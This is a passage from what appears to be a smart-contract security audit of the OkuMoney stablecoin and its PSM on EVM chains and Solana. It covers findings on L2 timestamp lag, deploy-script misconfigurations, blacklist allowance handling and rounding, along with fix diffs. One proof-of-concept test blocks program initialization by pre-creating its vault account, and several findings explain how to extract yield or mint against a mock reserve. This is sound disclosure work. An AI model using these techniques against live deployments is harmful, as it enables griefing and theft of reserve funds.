+added after yield accrued elsewhere, first bring its multiplier to the fleet's: override it
+to the leader's current value (EVM `setOkuMMultiplier.ts`, SVM `set-multiplier.ts
+--to-match-evm`; skip when both are still 1.00), then catch it up to the leader's `rateEnd`
+as Sec. Depeg longer than the armed window step 3 does. Only once its multiplier has reached
+the leader's at the same chain timestamp does the cold allowance manager (EVM
+`OKUM_ALLOWANCE_MANAGER`, SVM `allowance_manager`) set the production allowance, as a
+multisig transaction (EVM Safe: `OkuMoney.configureMinterAllowance`; SVM Squads vault:
+`set_minter_allowance`).

 ### Security notes
```

A fresh deploy mints through the PSM only after the allowance manager opens it, which breaks the `deployDrill` and `operatorDrill` hardhat tests that use the allowance right after `runDeploy` and contradicts the documented deploy-time allowance and its `verifyDeployment` check, and bridges whose destination leg is a closed chain's PSM mint stall until it reopens. A position opened between the onset of a lag and the moment the cold allowance manager's zeroing lands still collects the gap, so the drift monitor's detection latency plus the cold signing time bounds what remains.

OkuMoney:

Fixed in commit 0015662.

Cyfrin:

Verified.

9.2 Low Risk

9.2.1 `OkuMoneyRateSchedule::okuMMultiplier` prices at `block.timestamp`, which on Arbitrum One, OP Mainnet and Base may trail wall time after a sequencer outage, so a mint at the stale multiplier and a later redeem take unearned yield from the PSM buffer

Description:

`OkuMoneyRateSchedule::okuMMultiplier` prices at `block.timestamp`, and `LitePSM` mints and redeems at that multiplier with no fee or cooldown. The documentation treats `block.timestamp` as "wall-clock on every EVM chain" and accepts only Solana's clock lag.

On Arbitrum One, a configured deployment, the timestamp may trail current time after a sequencer stall: a message force-included from the Delayed Inbox takes the later of the previous L2 timestamp and the L1 timestamp at which it entered, not the inclusion time, and forced inclusion opens only after the smaller of about one day and the delay buffer, so the execution lag is current time minus that later timestamp and can exceed one day when the stall outlasts the delay. OP Mainnet and Base, also configured deployments, lag by a different mechanism: each block's timestamp is its parent's plus 2 seconds, so after a sequencer outage the resumed blocks catch up to wall time in 2-second steps, bounded by the sequencing window of about 12 hours, and a deposit forced through `OptimismPortal` during the outage executes at its L1 origin's time. A permissionless `LitePSM::mintOkuM` executing at a trailing timestamp is quoted at `m(T - lag)`, and a `LitePSM::redeemOkuM` after the clock catches up pays `m(T)`, so the caller collects the multiplier's rise over the lag, `r^lag - 1` at a constant rate `r`, paid from the PSM's USDC, for time its position did not exist.

At a constant rate over a 24 hour lag, about Arbitrum's current forced-inclusion delay, this is 133.68 USDC per 1,000,000 USDC at 5% APY and about 8,677 at the `MAX_RATE` sanity cap; over the 12 hour OP Stack bound it is 66.84 and 4,329.34. A successor staged at a higher rate that activates inside the lag raises the gain further. The gain is bounded by the buffer, the minter allowance and the supply cap. It needs the L2 clock to fall behind, which the source does not show to be frequent, and on OP Mainnet and Base a mint landing later in the catch-up gains only the remaining lag. Ethereum and BSC are not shown to be affected.

Recommended Mitigation:

On Arbitrum One, OP Mainnet and Base, `mintOkuM` and `LitePSM::mintUsdOku` must not price at a `block.timestamp` that trails wall-clock time at execution by more than a set tolerance. On OP Mainnet and Base, one way to meet it is a mint fee of at least the multiplier rise any permitted schedule can produce over the roughly 12 hour sequencing window. A successor can be staged at up to `MAX_RATE` while unpaused, so a fee sized on the current rate falls short and `MAX_RATE^lag - 1` is the conservative bound. On Arbitrum One a force-included mint's lag can grow with the stall, so a fixed fee covers only a stall up to the lag it is sized for and does not meet the obligation by itself. A fee departs from the fee-free design, so the mint paths that charge it also gain minimum-output parameters, which the README requires with any fee.

OkuMoney:

Acknowledged, with an operational mitigation and no contract change, in d457689.

9.2.2 Mainnet `deploy:init` creates a deployer-owned mock USDC instead of using Circle USDC, so `PsmConfig::usdc_mint` binds permanently to a worthless mint

Description:

The root cause lies in out-of-scope deployment scripts, and the harm lands on the in-scope `lite-psm` configuration.

The mainnet runbook is `deploy:programs:mainnet` then `deploy:init:mainnet`, and `NETWORK_CONFIGS['mainnet-beta'].usdc` names Circle USDC with `isNative: false`. `deployTokens` never reads that entry: it reuses `tokens.usdc` from `deployments/mainnet-beta.json`, which `deploy:programs` does not write, and otherwise creates a new 6-decimal mint with the deployer as mint authority. `verifyDeployment` only checks that the recorded mint exists, and no document asks the operator to pre-seed it. `lite_psm::initialize` validates only the decimals and stores the mint once, with no instruction to change it.

An honest deployer following the runbook therefore binds the mainnet PSM to a worthless mint. `lite_psm::mint_oku_m`, `lite_psm::redeem_oku_m` and the buffer instructions can never use real USDC, and the fix needs a program

upgrade or a new program ID. The deployer key also stays mint authority of that mock after the hand-off that says it "holds nothing on SVM". Whoever holds or compromises it can mint mock USDC and call `lite_psm::mint_oku_m` for real OkuM up to `minter_allowance` and `max_supply`, 1e15 raw each by script, which the cross-chain flow accepts as backed.

Recommended Mitigation:

In `deployTokens`, return the mint configured for the network whenever `isNative` is false, so a real-USDC network never reaches the mock creation, in `initializePsm` read `PsmConfig` back after `lite_psm::initialize` (fresh or already initialized) and refuse to continue unless `usdc_mint` is that mint, and have `verifyDeployment` fail any deployment whose stored `usdc_mint` is not the configured reserve, with `deploy-init` throwing on that result.

```
--- a/SVM/oku-programs/scripts/deploy/lib/tokens.ts
+++ b/SVM/oku-programs/scripts/deploy/lib/tokens.ts
@@ -14,5 +14,5 @@
 import { USDC_DECIMALS } from '../../config/constants';
 import { loadDeployment } from '../../utils/addressBook';
-import { NetworkName } from '../../config/networks';
+import { NetworkName, NETWORK_CONFIGS } from '../../config/networks';

 export interface DeployedTokens {
@@ -32,4 +32,13 @@
   network: NetworkName
 ): Promise<DeployedTokens> {
+  // A network with a real USDC (isNative false) always uses the configured
+  // mint; a mock is never created for it
+  const usdcCfg = NETWORK_CONFIGS[network].usdc;
+  if (!usdcCfg.isNative) {
+    logger.nextStep('Using configured USDC mint');
+    logger.info(`USDC mint: ${usdcCfg.mint.toBase58()}`);
+    return { usdcMint: usdcCfg.mint };
+  }
+
   const existing = loadDeployment(network);
   const existingUsdc = existing?.tokens?.usdc;
--- a/SVM/oku-programs/scripts/deploy/lib/initialize.ts
+++ b/SVM/oku-programs/scripts/deploy/lib/initialize.ts
@@ -203,4 +203,12 @@
       throw error;
     }
+  }
+
+  const initializedCfg: any = await program.account['psmConfig'].fetch(psmConfig);
+  if (!(initializedCfg.usdcMint as PublicKey).equals(usdcMint)) {
+    throw new Error(
+      `PsmConfig.usdc_mint is ${(initializedCfg.usdcMint as PublicKey).toBase58()}, ` +
+        `expected ${usdcMint.toBase58()}`
+    );
   }
```

```
--- a/SVM/oku-programs/scripts/deploy/lib/verify.ts
+++ b/SVM/oku-programs/scripts/deploy/lib/verify.ts
@@ -14,4 +14,7 @@
 const PSM_CONFIG_DISCRIMINATOR_HEX = '91ddc833e9c956b4';

+/** `PsmConfig.usdc_mint` byte range: discriminator (8), bump (1), ten role keys (320) */
+const PSM_CONFIG_USDC_MINT_OFFSET = 329;
+
 /**
  * Verify all deployment addresses exist on-chain.
@@ -25,5 +28,6 @@
   provider: AnchorProvider,
```

```
   addresses: DeploymentAddresses,
-  expectedProgramId?: PublicKey
+  expectedProgramId?: PublicKey,
+  expectedUsdcMint?: PublicKey
 ): Promise<boolean> {
   logger.nextStep('Verifying Deployment');
@@ -70,4 +74,12 @@
       logger.error('PSM Config: discriminator mismatch -- not a PsmConfig account');
       allPassed = false;
+    } else if (
+      expectedUsdcMint &&
+      !new PublicKey(
+        info.data.subarray(PSM_CONFIG_USDC_MINT_OFFSET, PSM_CONFIG_USDC_MINT_OFFSET + 32)
+      ).equals(expectedUsdcMint)
+    ) {
+      logger.error(`PSM Config: usdc_mint is not the configured reserve
↪  ${expectedUsdcMint.toBase58()}`);
+      allPassed = false;
     } else {
       logger.success(`PSM Config: ${configAddr.slice(0, 8)}... (owner, size, discriminator all
       ↪  match)`);
--- a/SVM/oku-programs/scripts/deploy/deploy-init.ts
+++ b/SVM/oku-programs/scripts/deploy/deploy-init.ts
@@ -180,5 +180,8 @@
     ? new PublicKey(finalDeployment.programs.litePsm)
     : undefined;
-  await verifyDeployment(provider, finalDeployment, litePsmId);
+  const configuredUsdc = networkConfig.usdc.isNative ? undefined : networkConfig.usdc.mint;
+  if (!(await verifyDeployment(provider, finalDeployment, litePsmId, configuredUsdc))) {
+    throw new Error('Deployment verification failed');
+  }

   const duration = ((Date.now() - startTime) / 1000).toFixed(1);
```

An existing `tokens.usdc` entry in `deployments/mainnet-beta.json` is no longer consulted for that network.

OkuMoney:

Fixed in commit df052c9.

Cyfrin:

Verified.

9.2.3 Blacklist check rejects zero-value approvals, so grantors cannot revoke an allowance to a blacklisted spender and it revives when the spender is unblacklisted

Description:

Both tokens revert any approval that names a blacklisted spender, a zero value included, in `OkuMoney::approve`, `permit` and `OkuDollar::approve`, `permit`, and `OkuDollar::_blacklisted` also counts OkuMoney's list. A blacklisted owner is rejected the same way and cannot zero its own allowances. Neither token has another revoke path.

The blacklist accepted risk documents that listing does not revoke allowances and that they revive on unblacklisting, with the mitigation that grantors call `approve(spender, 0)`. That call reverts for as long as the spender is listed. It succeeds only after `OkuMoney::unblacklist` or `OkuDollar::unblacklist`, when `OkuMoney::transferFrom` and `OkuDollar::transferFrom` already honour the old allowance because it checks only the spender's current status. A spender ordered ahead of the revoke then takes up to the lesser of the allowance and the grantor's balance.

This needs an earlier allowance, a listing that is later lifted and a lost ordering race. A grantor that moves its balance first avoids it, so the exposure falls on fixed-address grantors such as contracts.

Recommended Mitigation:

Apply the blacklist check in `OkuMoney::approve`, `OkuMoney::permit`, `OkuDollar::approve` and `OkuDollar::permit` only when the value is non-zero, so a zero approval always succeeds and grants nothing.

```
--- a/EVM/src/token/OkuMoney.sol
+++ b/EVM/src/token/OkuMoney.sol
@@ -189,4 +189,6 @@
         OkuMoneyStorage storage $ = _getOkuMoneyStorage();
-        if ($.isBlacklisted[owner]) revert SharedErrors.SenderBlacklisted();
-        if ($.isBlacklisted[spender]) revert SharedErrors.RecipientBlacklisted();
+        if (value != 0) {
+            if ($.isBlacklisted[owner]) revert SharedErrors.SenderBlacklisted();
+            if ($.isBlacklisted[spender]) revert SharedErrors.RecipientBlacklisted();
+        }
         super.permit(owner, spender, value, deadline, v, r, s);
@@ -206,4 +208,6 @@
         OkuMoneyStorage storage $ = _getOkuMoneyStorage();
-        if ($.isBlacklisted[_msgSender()]) revert SharedErrors.SenderBlacklisted();
-        if ($.isBlacklisted[spender]) revert SharedErrors.RecipientBlacklisted();
+        if (value != 0) {
+            if ($.isBlacklisted[_msgSender()]) revert SharedErrors.SenderBlacklisted();
+            if ($.isBlacklisted[spender]) revert SharedErrors.RecipientBlacklisted();
+        }
         return super.approve(spender, value);
```

```
--- a/EVM/src/token/OkuDollar.sol
+++ b/EVM/src/token/OkuDollar.sol
@@ -309,4 +309,6 @@
     {
-        if (_blacklisted(owner)) revert SharedErrors.SenderBlacklisted();
-        if (_blacklisted(spender)) revert SharedErrors.RecipientBlacklisted();
+        if (value != 0) {
+            if (_blacklisted(owner)) revert SharedErrors.SenderBlacklisted();
+            if (_blacklisted(spender)) revert SharedErrors.RecipientBlacklisted();
+        }
         super.permit(owner, spender, value, deadline, v, r, s);
@@ -324,4 +326,6 @@
     {
-        if (_blacklisted(_msgSender())) revert SharedErrors.SenderBlacklisted();
-        if (_blacklisted(spender)) revert SharedErrors.RecipientBlacklisted();
+        if (value != 0) {
+            if (_blacklisted(_msgSender())) revert SharedErrors.SenderBlacklisted();
+            if (_blacklisted(spender)) revert SharedErrors.RecipientBlacklisted();
+        }
         return super.approve(spender, value);
```

OkuMoney:

Fixed in commit a4b63c2.

Cyfrin:

Verified.

9.2.4 `Initialize::vault_usdc` is created with non-idempotent `init`, so anyone pre-creating the config PDA's USDC associated token account blocks program initialization until an upgrade

Description:

`Initialize::vault_usdc` is declared with `init` and `associated_token::` constraints, for which Anchor emits the non-idempotent Associated Token Account `Create` instruction. The Associated Token Account program (`ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL`; the deployed version may differ from the 6.0.0 source read) answers `Create` for an existing account with `IllegalOwner`.

The vault address follows from the program ID alone, since `config` is the singleton PDA `psm_config`, and any funder may create an associated token account for any owner. An attacker who creates it before `lite_psm::initialize`, in the gap between `deploy:programs` and `deploy:init` or earlier from the public `declare_id!`, makes every initialization fail, and no instruction can close the account. The deployer must upgrade the program or redeploy under a new program ID, which is exposed in the same way. The attacker pays about 0.002 SOL of rent and gains only delay, and no funds exist before initialization.

Proof of Concept:

The test creates the USDC vault account for the config PDA from an unrelated funder, then shows that `lite_psm::initialize` fails and leaves no config account. It runs against the prebuilt program in bankrun with the harness's seeded `ProgramData`, which stands in for the real upgrade-authority account.

Save it as `SVM/oku-programs/tests/cyfrin-pocs/InitVaultPreCreate.ts`:

```
import * as anchor from "@anchor-lang/core";
import { expect } from "chai";
import {
  TOKEN_PROGRAM_ID,
  createAssociatedTokenAccountInstruction,
  getAssociatedTokenAddressSync,
  getAccount,
} from "@solana/spl-token";
import { DECIMALS, initializePsm } from "../shared/setup";
import {
  startBankrun,
  fundKeypairs,
  createMintViaBankrun,
} from "../shared/bankrun";

const { Keypair, PublicKey, Transaction } = anchor.web3;

describe("cyfrin-pocs", () => {
  it("PoC: InitVaultPreCreate", async () => {
    const h = await startBankrun();
    const attacker = Keypair.generate();
    await fundKeypairs(h, [attacker], 1 * anchor.web3.LAMPORTS_PER_SOL);

    const usdcMint = await createMintViaBankrun(
      h,
      h.payer.publicKey,
      h.payer.publicKey,
      DECIMALS,
      Keypair.generate(),
      TOKEN_PROGRAM_ID
    );

    const [configPda] = PublicKey.findProgramAddressSync(
      [Buffer.from("psm_config")],
      h.program.programId
    );
    const vault = getAssociatedTokenAddressSync(
      usdcMint,
      configPda,
      true,
      TOKEN_PROGRAM_ID
    );

    // an unrelated funder creates the vault account before initialize runs
    const createVault = new Transaction().add(
      createAssociatedTokenAccountInstruction(
        attacker.publicKey,
        vault,
```

```
        configPda,
        usdcMint,
        TOKEN_PROGRAM_ID
      )
    );
    await h.provider.sendAndConfirm!(createVault, [attacker]);
    const pre = await getAccount(
      h.provider.connection,
      vault,
      undefined,
      TOKEN_PROGRAM_ID
    );
    expect(pre.owner.toBase58()).to.equal(configPda.toBase58());

    // the upgrade authority cannot initialize, on the first or any later attempt
    for (let attempt = 0; attempt < 2; attempt++) {
      let failed = false;
      try {
        await initializePsm(h, h.program, h.payer, usdcMint);
      } catch (e) {
        failed = true;
      }
      expect(failed).to.equal(true);
      expect(await h.context.banksClient.getAccount(configPda)).to.equal(null);
    }
  });
});
```

Run it with:

```
cd SVM/oku-programs
node_modules/.bin/mocha --require tsx --timeout 120000 tests/cyfrin-pocs/InitVaultPreCreate.ts --grep
↪  "PoC: InitVaultPreCreate"
```

Recommended Mitigation:

Declare `vault_usdc` with `init_if_needed` (the `init-if-needed` feature is already enabled), so a vault created beforehand by anyone is validated against the mint, the config authority and the token program instead of failing the Associated Token Account `Create`.

```
--- a/SVM/oku-programs/programs/lite-psm/src/contexts/init.rs
+++ b/SVM/oku-programs/programs/lite-psm/src/contexts/init.rs
@@ -64,3 +64,3 @@
     #[account(
-        init,
+        init_if_needed,
         payer = role_admin,
```

OkuMoney:

Fixed in commit 3b9213e.

Cyfrin:

Verified.

9.2.5 `OverrideBlockGuard::whenNoOverrideThisBlock` compares `block.number`, which on Arbitrum One is a parent-chain block estimate, so an emergency override blocks every PSM and vault path across many L2 blocks

Description:

`OkuMoneyRateSchedule::setOkuMMultiplier` stamps an emergency override with `block.number`, and `Override`

`BlockGuard::whenNoOverrideThisBlock` reverts `OverrideInProgress` while `block.number` equals that stamp. The documented intent is a one-block lock, "Retry in a later block".

On Arbitrum One, a configured deployment, `block.number` is an estimate of the parent-chain block number, and the L2 height is only available from `ArbSys(address(100)).arbBlockNumber()`. Many L2 blocks share one value, so after each override every guarded call reverts until the estimate next advances, up to one update interval (roughly 13 to 15 seconds on Arbitrum One, occasionally longer) instead of one L2 block. The guard covers the `LitePSM` mint, redeem and buffer paths and `OkuDollar::wrap, unwrap, withdraw, redeem`, including the orchestrator's bridge legs.

Nothing is lost and the calls succeed once the estimate moves. The override is a rare documented emergency action, and Ethereum, Base, Optimism and BSC use native block numbers and are unaffected.

Other impacts of the same root cause:

- `OkuMMultiplierUpdated` emits `block.number`, so on Arbitrum One its `blockNumber` is the parent-chain estimate and not the height of the override block

Recommended Mitigation:

Stamp and compare the L2 block height instead of `block.number`, which is native everywhere except Arbitrum, where ArbSys reports the L2 height; use it for the stamp, the event and the guard.

```
// EVM/src/lib/L2BlockNumber.sol
interface IArbSys {
    function arbBlockNumber() external view returns (uint256);
}

library L2BlockNumber {
    function current() internal view returns (uint256) {
        if (block.chainid == 42161 || block.chainid == 421614) {
            return IArbSys(address(100)).arbBlockNumber();
        }
        return block.number;
    }
}
```

```
--- a/EVM/src/lib/OverrideBlockGuard.sol
+++ b/EVM/src/lib/OverrideBlockGuard.sol
@@ -4,2 +4,3 @@
 import {IOkuMoney} from "../interfaces/IOkuMoney.sol";
+import {L2BlockNumber} from "./L2BlockNumber.sol";

@@ -21,3 +22,3 @@
     modifier whenNoOverrideThisBlock() {
-        if (block.number == _overrideBlockOkuMoney().lastOverrideBlock()) {
+        if (L2BlockNumber.current() == _overrideBlockOkuMoney().lastOverrideBlock()) {
             revert OverrideInProgress();
--- a/EVM/src/token/OkuMoneyRateSchedule.sol
+++ b/EVM/src/token/OkuMoneyRateSchedule.sol
@@ -18,2 +18,3 @@
 import {IOkuMoney} from "../interfaces/IOkuMoney.sol";
+import {L2BlockNumber} from "../lib/L2BlockNumber.sol";
 import {IScaledUIAmount, IScaledUIAmountNewUIMultiplier} from "../interfaces/IScaledUIAmount.sol";
@@ -235,3 +236,3 @@
         // new value with no accrual until a rate is set again.
-        $.lastOverrideBlock = block.number;
+        $.lastOverrideBlock = L2BlockNumber.current();
         _haltSchedule($, newMultiplier);
@@ -239,3 +240,3 @@
         emit OkuMMultiplierUpdated(
-            currentMultiplier, newMultiplier, _supplyForOverrideEvent(), block.number
+            currentMultiplier, newMultiplier, _supplyForOverrideEvent(), L2BlockNumber.current()
```

```
        );
```

OkuMoney:

Fixed in commit c1c07c0.

Cyfrin:

Verified.

9.2.6 Mainnet `admin:grant-roles:mainnet` alias defaults its delegate to a devnet key, so a run before the `role_admin` hand-off gives that key `rate_manager` and three more roles

Description:

The root cause lies in out-of-scope deployment scripts, and the harm lands on the in-scope `lite-psm` configuration.

`grant-roles.ts` resolves its delegate as `delegateArg ?? DEFAULT_DELEGATE`, where `DEFAULT_DELEGATE` is `DEFAULT_DIRECT_MINTER`, documented as the devnet and testnet direct-minter key. Unlike EVM `grantRoles.ts`, which refuses mainnet, it has no mainnet refusal, and `package.json` ships an `admin:grant-roles:mainnet` alias with no `--delegate`. The plan it prints shows the delegate but not that it is the devnet default, and `--yes-i-mean-it-on-mainnet` skips the confirmation.

Run by the deployer while it is still `role_admin`, before `lite_psm::accept_role_admin` lands, the alias sends `lite_psm::set_authority` for `directMinter`, `directBurner`, `rateManager` and `bufferDepositor` to the devnet key, and these commit at once. That key's holder becomes `rate_manager`, able to raise the multiplier up to the 1,000,000x ceiling and drain `vault_usdc` through permissionless `lite_psm::redeem_oku_m`. The README presents the tool as a devnet helper, so the trigger is the trusted operator running the mainnet alias by mistake. `role_admin` can rotate the roles back, but not undo what the key did meanwhile.

Recommended Mitigation:

Make `--delegate` mandatory with no default, refuse `mainnet-beta` and `mainnet-fork` in `grant-roles.ts` as EVM `grantRoles.ts` does, and drop the `admin:grant-roles:mainnet` alias that now always refuses.

```
--- a/SVM/oku-programs/scripts/admin/grant-roles.ts
+++ b/SVM/oku-programs/scripts/admin/grant-roles.ts
@@ -18,5 +18,5 @@
  *
  * Usage:
- *   NETWORK=devnet tsx scripts/admin/grant-roles.ts [--delegate=<pubkey>] [--dry-run] [--mint-usdc]
+ *   NETWORK=devnet tsx scripts/admin/grant-roles.ts --delegate=<pubkey> [--dry-run] [--mint-usdc]
  *   (--mint-usdc: opt-in mock USDC mint to the delegate)
  */
@@ -52,11 +52,8 @@

 import {
-  DEFAULT_DIRECT_MINTER,
   DIRECT_MINTER_ALLOWANCE as DIRECT_MINTER_ALLOWANCE_CONST,
   DIRECT_BURNER_ALLOWANCE as DIRECT_BURNER_ALLOWANCE_CONST,
 } from '../config/constants';

-const DEFAULT_DELEGATE = DEFAULT_DIRECT_MINTER;
-
 function parseArg(name: string): string | undefined {
   const a = process.argv.find((x) => x.startsWith(`--${name}=`));
@@ -69,5 +66,8 @@

 const delegateArg = parseArg('delegate');
-const DELEGATE_PUBKEY = new PublicKey(delegateArg ?? DEFAULT_DELEGATE);
+if (!delegateArg) {
+  throw new Error('--delegate=<pubkey> is required.');
+}
+const DELEGATE_PUBKEY = new PublicKey(delegateArg);
```

```
 /** Opt-in: mint mock USDC to a recipient. Off by default. */
@@ -153,4 +153,11 @@
   const network = detectNetwork();
   logger.header(`grant-roles (${network})`);
+
+  if (network === 'mainnet-beta' || network === 'mainnet-fork') {
+    throw new Error(
+      `grant-roles is a devnet/testnet helper and refuses ${network}; ` +
+       `use set-authority.ts for mainnet role changes.`
+    );
+  }

   if (DELEGATE_PUBKEY.equals(PublicKey.default)) {
--- a/SVM/oku-programs/package.json
+++ b/SVM/oku-programs/package.json
@@ -41,5 +41,4 @@
     "admin:grant-roles": "tsx scripts/admin/grant-roles.ts",
     "admin:grant-roles:devnet": "NETWORK=devnet tsx scripts/admin/grant-roles.ts",
-    "admin:grant-roles:mainnet": "NETWORK=mainnet-beta tsx scripts/admin/grant-roles.ts",
     "upgrade": "tsx scripts/upgrade/index.ts",
     "upgrade:devnet": "NETWORK=devnet tsx scripts/upgrade/index.ts",
```

Mainnet role changes go through `set-authority.ts`, which already names the recipient explicitly.

OkuMoney:

Fixed in commit 9fc3d3f.

Cyfrin:

Verified.

9.2.7 Deploy script trusts the NETWORK env var without a chainId check, so a stale name deploys LitePSM against permissionless MockUSDC on a production chain

Description:

The root cause lies in the deployment scripts, outside the audited files, and the harm lands on the in-scope `LitePSM`, `OkuMoney` and `OkuDollar` proxies they deploy.

On a live run, `resolveNetworkContext` takes the network name from the `NETWORK` environment variable whenever it is set and cross-checks it against the connected chainId only on forks. `runDeploy` decides the `YES_MAINNET` gate and the real-USDC requirement from that name, so a name outside the mainnet set reaches `deployMockUSDC`, whose `MockUSDC::mint` has no access control. `LitePSM` is initialized with that token as its one-time reserve, and `configureRoles` grants it `OKUM_MINTER` with a one-billion-token allowance.

The documented commands pass only `--network`, so the trigger is the trusted operator erring: a `NETWORK` value left over from a fork session, which the fork workflow sets routinely, or a new chain such as Monad or Arc added to `chains.ts` but not to the mainnet name set. Anyone could then mint the mock reserve and `LitePSM::mintOkuM` for free up to the allowance, and only a proxy upgrade recovers. The wrong network header and the missing `YES_MAINNET` prompt make the mistake visible, and the new proxies hold no user funds at deployment.

Recommended Mitigation:

Cross-check the connected chainId against the configured chainId of the resolved name on every live run, and let `deployMockUSDC` run only on a listed testnet chainId, so neither a stale `NETWORK` nor an unlisted new chain reaches it.

```
--- a/EVM/scripts/utils/networkContext.ts
+++ b/EVM/scripts/utils/networkContext.ts
@@ -97,5 +97,5 @@
   // Cross-check explicit NETWORK= against the running fork's actual chainId.
   // Auto-detect path already guarantees agreement so we skip there.
```

```
-  if (isFork && explicit) {
+  if (explicit || !isFork) {
     const liveChainId = Number((await ethers.provider.getNetwork()).chainId);
     if (liveChainId !== chainConfig.chainId) {
--- a/EVM/scripts/deploy/index.ts
+++ b/EVM/scripts/deploy/index.ts
@@ -63,4 +63,7 @@
   "bsc",
 ];
+
+// Chains where a permissionless MockUSDC reserve may be deployed (testnets only)
+const MOCK_USDC_CHAIN_IDS = new Set([11155111, 11155420, 84532, 421614, 97]);

 // Dev wallet address for impersonation on local fork (centralized in chains.ts)
@@ -889,4 +892,7 @@
     logger.info(`  USDC: ${usdcAddress}`);
   } else {
+    if (!isFork && !MOCK_USDC_CHAIN_IDS.has(chainConfig.chainId)) {
+      throw new Error(`Refusing to deploy MockUSDC on chainId ${chainConfig.chainId} (${networkName}):
↪  not a listed testnet`);
+    }
     usdcAddress = await deployMockUSDC(bookKey, deployer);
   }
```

A chain added later to `chains.ts` needs a real USDC address, or an entry in `MOCK_USDC_CHAIN_IDS` if it is a testnet.

OkuMoney:

Fixed in commit f3500b7.

Cyfrin:

Verified.

9.2.8 Token-2022 can display slightly more value than the PSM will redeem

Description:

The Token-2022 `ScaledUiAmount` extension is intended to display no more value than the PSM can redeem. To keep the displayed multiplier below the canonical WAD multiplier, `multiplier_to_f64_floor()` converts it to `f64` and applies `next_down()` twice:

```
pub fn multiplier_to_f64_floor(multiplier: u128) -> f64 {
    let scaled = multiplier as f64 / PRECISION as f64;
    if scaled <= 0.0 || !scaled.is_finite() {
        return scaled;
    }
    scaled.next_down().next_down()
}
```

The resulting value is written to the mint's `ScaledUiAmountConfig`:

```
let ix = update_multiplier(
    &token_2022_program.key(),
    &oku_m_mint.key(),
    &config.key(),
    &[],
    multiplier_to_f64_floor(multiplier),
    effective_timestamp,
)?;
```

This ensures that the stored `f64` multiplier is below the canonical multiplier, but it does not ensure that every balance rendered with that multiplier is also rounded down. Token-2022 converts a balance using the following

sequence:

```
let scaled_amount = (amount as f64) * self.current_multiplier(unix_timestamp);
let truncated_amount = scaled_amount.trunc() / 10_f64.powi(decimals as i32);
let ui_amount = format!("{truncated_amount:.*}", decimals as usize);
```

The multiplication is performed with IEEE-754 round-to-nearest semantics. Therefore, the value passed to `trunc()` is not the exact real-number product `amount * stored_multiplier`; it is the nearest representable `f64` to that product. If the exact product lies immediately below an integer, the multiplication can round it to that integer. The later `trunc()` then preserves the rounded-up value instead of removing it.

This occurs in the reproduced case. The canonical multiplier is `1.849869492742330240`, and applying the two downward steps produces the stored `f64` value with bit pattern `0x3ffd9910c0d32486`. For a raw balance of `37,161,506,851`, the exact product using that stored binary value is approximately:

```
68,743,937,827.999992370715
```

At this magnitude, adjacent `f64` values are `0.0000152587890625` apart. The exact product is slightly less than half of that distance below `68,743,937,828`, so the floating-point multiplication rounds it upward to exactly:

```
68,743,937,828.0
```

After `trunc()` and division by `10^6`, Token-2022 returns `68,743.937828`. The two `next_down()` calls have therefore floored the multiplier, while the later balance-level multiplication has crossed the next micro-unit boundary.

Redemption uses a separate exact integer calculation and rounds down:

```
let multiplier = multiplier::at(&ctx.accounts.config, clock.unix_timestamp)?;
let usdc_amount = raw_to_dollars(raw_oku_m_amount, multiplier)?;
require!(usdc_amount >= min_usdc_out, LitePsmError::SlippageExceeded);
```

```
pub fn raw_to_dollars(raw_amount: u64, multiplier: u128) -> Option<u64> {
    let dollars = crate::wad::mul_div_wad_floor(raw_amount as u128, multiplier)?;
    u64::try_from(dollars).ok()
}
```

For the same balance and canonical multiplier, the PSM computes:

```
floor(37,161,506,851 * 1,849,869,492,742,330,240 / 10^18)
    = 68,743,937,827
```

The displayed value is therefore one micro-USDC greater than the amount returned by the PSM's redemption calculation.

Impact:

A wallet or integration that uses the Token-2022 displayed balance directly as `min_usdc_out` can construct a redemption that always reverts with `SlippageExceeded`.

The reproduced difference is one micro-USDC. This does not affect reserve accounting or protocol solvency, but it violates the intended relationship between the wallet-facing display and the canonical redeemable value.

Proof of Concept:

Add the following test to `programs/lite-psm/src/helpers/display_sync.rs`:

```
#[test]
fn token_2022_rendered_balance_can_exceed_psm_redeem_floor() {
    use anchor_spl::token_2022::spl_token_2022::extension::scaled_ui_amount::ScaledUiAmountConfig;

    const CANONICAL_MULTIPLIER: u128 = 1_849_869_492_742_330_240;
    const RAW_OKU_M: u64 = 37_161_506_851; // 37,161.506851 OkuM

    let stored_multiplier = multiplier_to_f64_floor(CANONICAL_MULTIPLIER);
```

```
    assert_eq!(stored_multiplier.to_bits(), 0x3ffd_9910_c0d3_2486);

    let scaled_ui = ScaledUiAmountConfig {
        multiplier: stored_multiplier.into(),
        new_multiplier: stored_multiplier.into(),
        new_multiplier_effective_timestamp: 0i64.into(),
        ..ScaledUiAmountConfig::default()
    };

    let rendered = scaled_ui
        .amount_to_ui_amount(RAW_OKU_M, crate::constants::TOKEN_DECIMALS, 0)
        .unwrap();

    let redeemable = crate::helpers::raw_to_dollars(
        RAW_OKU_M,
        CANONICAL_MULTIPLIER,
    )
    .unwrap();

    assert_eq!(rendered, "68743.937828");
    assert_eq!(redeemable, 68_743_937_827);
    assert_eq!(68_743_937_828, redeemable + 1);
}
```

Run it with:

```
cargo test -p lite-psm token_2022_rendered_balance_can_exceed_psm_redeem_floor
```

Test result:

```
running 1 test
test helpers::display_sync::tests::token_2022_rendered_balance_can_exceed_psm_redeem_floor ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 10 filtered out
```

The test shows that Token-2022 renders `68,743.937828`, while the PSM will redeem only `68,743.937827` USDC.

Recommended Mitigation:

Apply one additional downward step before storing the display multiplier:

```
scaled.next_down().next_down().next_down()
```

Retain the reproduced case as a regression test and add balance-level tests that compare Token-2022's final `amount_to_ui_amount()` result against `raw_to_dollars()` across the supported multiplier and balance ranges.

OkuMoney:

Fixed in commit d6f5066.

Cyfrin:

Verified.

9.3 Informational

9.3.1 `OkuDollar::maxRedeem` returns a non-zero amount for a one-internal-share holder that `OkuDollar::redeem` always rejects, so ERC-4626 exit routines revert on dust positions

Description:

